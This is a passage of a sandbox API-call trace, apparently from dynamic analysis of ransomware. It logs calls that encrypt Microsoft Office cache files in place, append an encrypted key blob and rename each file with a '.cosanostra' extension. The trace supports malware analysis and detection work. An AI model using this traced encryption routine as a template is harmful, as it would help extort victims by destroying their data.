pbData=0x27c9b0*, pdwDataLen=0x251ec18*=0x30) returned 1 [0110.151] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.152] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 85 [0110.152] StrStrW (lpFirst="Proof.cab", lpSrch=".txt") returned 0x0 [0110.344] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.344] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ebdc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ebdc*=0x2800, lpOverlapped=0x0) returned 1 [0110.345] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.345] WriteFile (in: hFile=0x138, lpBuffer=0x251ec1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebdc, lpOverlapped=0x0 | out: lpBuffer=0x251ec1c*, lpNumberOfBytesWritten=0x251ebdc*=0x4, lpOverlapped=0x0) returned 1 [0110.568] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebdc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebdc*=0x30, lpOverlapped=0x0) returned 1 [0110.569] CloseHandle (hObject=0x138) returned 1 [0110.569] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.cosanostra") returned 96 [0110.569] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.cosanostra")) returned 1 [0110.571] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec18 | out: pbBuffer=0x251ec18) returned 1 [0110.571] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec10*=0x30) returned 1 [0110.571] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.572] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 85 [0110.572] StrStrW (lpFirst="Proof.xml", lpSrch=".txt") returned 0x0 [0110.647] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffabd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.647] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x251ebd4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ebd4*=0x543, lpOverlapped=0x0) returned 1 [0110.647] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.647] WriteFile (in: hFile=0x138, lpBuffer=0x251ec14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebd4, lpOverlapped=0x0 | out: lpBuffer=0x251ec14*, lpNumberOfBytesWritten=0x251ebd4*=0x4, lpOverlapped=0x0) returned 1 [0110.647] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebd4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebd4*=0x30, lpOverlapped=0x0) returned 1 [0110.647] CloseHandle (hObject=0x138) returned 1 [0110.648] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.cosanostra") returned 96 [0110.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.cosanostra")) returned 1 [0110.648] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec18 | out: pbBuffer=0x251ec18) returned 1 [0110.648] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec10*=0x30) returned 1 [0110.648] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.649] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec10 | out: pbBuffer=0x251ec10) returned 1 [0110.649] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec08*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec08*=0x30) returned 1 [0110.649] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.871] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec08 | out: pbBuffer=0x251ec08) returned 1 [0110.871] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec00*=0x30) returned 1 [0110.871] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0110.872] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 77 [0110.872] StrStrW (lpFirst="WordLR.cab", lpSrch=".txt") returned 0x0 [0110.884] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.884] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ebc4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ebc4*=0x2800, lpOverlapped=0x0) returned 1 [0110.884] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.884] WriteFile (in: hFile=0x180, lpBuffer=0x251ec04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebc4, lpOverlapped=0x0 | out: lpBuffer=0x251ec04*, lpNumberOfBytesWritten=0x251ebc4*=0x4, lpOverlapped=0x0) returned 1 [0110.887] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebc4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebc4*=0x30, lpOverlapped=0x0) returned 1 [0110.887] CloseHandle (hObject=0x180) returned 1 [0110.945] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.cosanostra") returned 88 [0110.945] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.cosanostra")) returned 1 [0110.948] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec08 | out: pbBuffer=0x251ec08) returned 1 [0110.948] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec00*=0x30) returned 1 [0110.948] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0110.949] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 76 [0110.949] StrStrW (lpFirst="PubLR.cab", lpSrch=".txt") returned 0x0 [0111.092] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.093] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ebc4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ebc4*=0x2800, lpOverlapped=0x0) returned 1 [0111.094] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.094] WriteFile (in: hFile=0x180, lpBuffer=0x251ec04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ebc4, lpOverlapped=0x0 | out: lpBuffer=0x251ec04*, lpNumberOfBytesWritten=0x251ebc4*=0x4, lpOverlapped=0x0) returned 1 [0111.265] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ebc4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ebc4*=0x30, lpOverlapped=0x0) returned 1 [0111.265] CloseHandle (hObject=0x180) returned 1 [0111.265] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.cosanostra") returned 87 [0111.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.cosanostra")) returned 1 [0111.266] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec00 | out: pbBuffer=0x251ec00) returned 1 [0111.266] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebf8*=0x30) returned 1 [0111.266] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.266] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec00 | out: pbBuffer=0x251ec00) returned 1 [0111.266] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebf8*=0x30) returned 1 [0111.266] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.266] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebf8 | out: pbBuffer=0x251ebf8) returned 1 [0111.266] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebf0*=0x30) returned 1 [0111.266] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\.." (normalized: "c:\\msocache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.266] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebf8 | out: pbBuffer=0x251ebf8) returned 1 [0111.266] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebf0*=0x30) returned 1 [0111.266] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\." (normalized: "c:\\msocache\\all users\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.266] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebf0 | out: pbBuffer=0x251ebf0) returned 1 [0111.267] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebe8*=0x30) returned 1 [0111.267] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.267] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebf0 | out: pbBuffer=0x251ebf0) returned 1 [0111.267] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebe8*=0x30) returned 1 [0111.267] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\." (normalized: "c:\\msocache\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.267] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebe8 | out: pbBuffer=0x251ebe8) returned 1 [0111.267] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebe0*=0x30) returned 1 [0111.267] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.268] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebe0 | out: pbBuffer=0x251ebe0) returned 1 [0111.268] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebd8*=0x30) returned 1 [0111.268] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.268] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebe0 | out: pbBuffer=0x251ebe0) returned 1 [0111.268] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebd8*=0x30) returned 1 [0111.268] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\." (normalized: "c:\\config.msi\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.268] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebd8 | out: pbBuffer=0x251ebd8) returned 1 [0111.269] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebd0*=0x30) returned 1 [0111.269] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.282] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebd8 | out: pbBuffer=0x251ebd8) returned 1 [0111.282] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebd0*=0x30) returned 1 [0111.282] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.340] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebd0 | out: pbBuffer=0x251ebd0) returned 1 [0111.340] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebc8*=0x30) returned 1 [0111.340] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.800] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebc8 | out: pbBuffer=0x251ebc8) returned 1 [0111.800] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebc0*=0x30) returned 1 [0111.800] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.800] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebc8 | out: pbBuffer=0x251ebc8) returned 1 [0111.800] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebc0*=0x30) returned 1 [0111.800] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.801] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebc0 | out: pbBuffer=0x251ebc0) returned 1 [0111.802] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebb8*=0x30) returned 1 [0111.802] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.803] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ebb8 | out: pbBuffer=0x251ebb8) returned 1 [0111.803] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ebb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ebb0*=0x30) returned 1 [0111.803] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 4 os_tid = 0xa40 [0074.016] Sleep (dwMilliseconds=0x3e8) [0077.321] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffd00 | out: pbBuffer=0x26ffd00) returned 1 [0077.322] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x279d48*, pdwDataLen=0x26ffcf8*=0x20, dwBufLen=0x30 | out: pbData=0x279d48*, pdwDataLen=0x26ffcf8*=0x30) returned 1 [0077.322] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0077.500] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 79 [0077.500] StrStrW (lpFirst="VisioMUI.xml", lpSrch=".txt") returned 0x0 [0077.501] ReadFile (in: hFile=0x134, lpBuffer=0x27cce0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffcbc, lpOverlapped=0x0 | out: lpBuffer=0x27cce0*, lpNumberOfBytesRead=0x26ffcbc*=0x251f, lpOverlapped=0x0) returned 1 [0077.520] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffdae1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.520] WriteFile (in: hFile=0x134, lpBuffer=0x27cce0*, nNumberOfBytesToWrite=0x251f, lpNumberOfBytesWritten=0x26ffcbc, lpOverlapped=0x0 | out: lpBuffer=0x27cce0*, lpNumberOfBytesWritten=0x26ffcbc*=0x251f, lpOverlapped=0x0) returned 1 [0077.520] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.520] WriteFile (in: hFile=0x134, lpBuffer=0x26ffcfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffcbc, lpOverlapped=0x0 | out: lpBuffer=0x26ffcfc*, lpNumberOfBytesWritten=0x26ffcbc*=0x4, lpOverlapped=0x0) returned 1 [0077.520] WriteFile (in: hFile=0x134, lpBuffer=0x279d48*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffcbc, lpOverlapped=0x0 | out: lpBuffer=0x279d48*, lpNumberOfBytesWritten=0x26ffcbc*=0x30, lpOverlapped=0x0) returned 1 [0077.520] CloseHandle (hObject=0x134) returned 1 [0077.521] wnsprintfW (in: pszDest=0x27a0d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.cosanostra") returned 90 [0077.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All 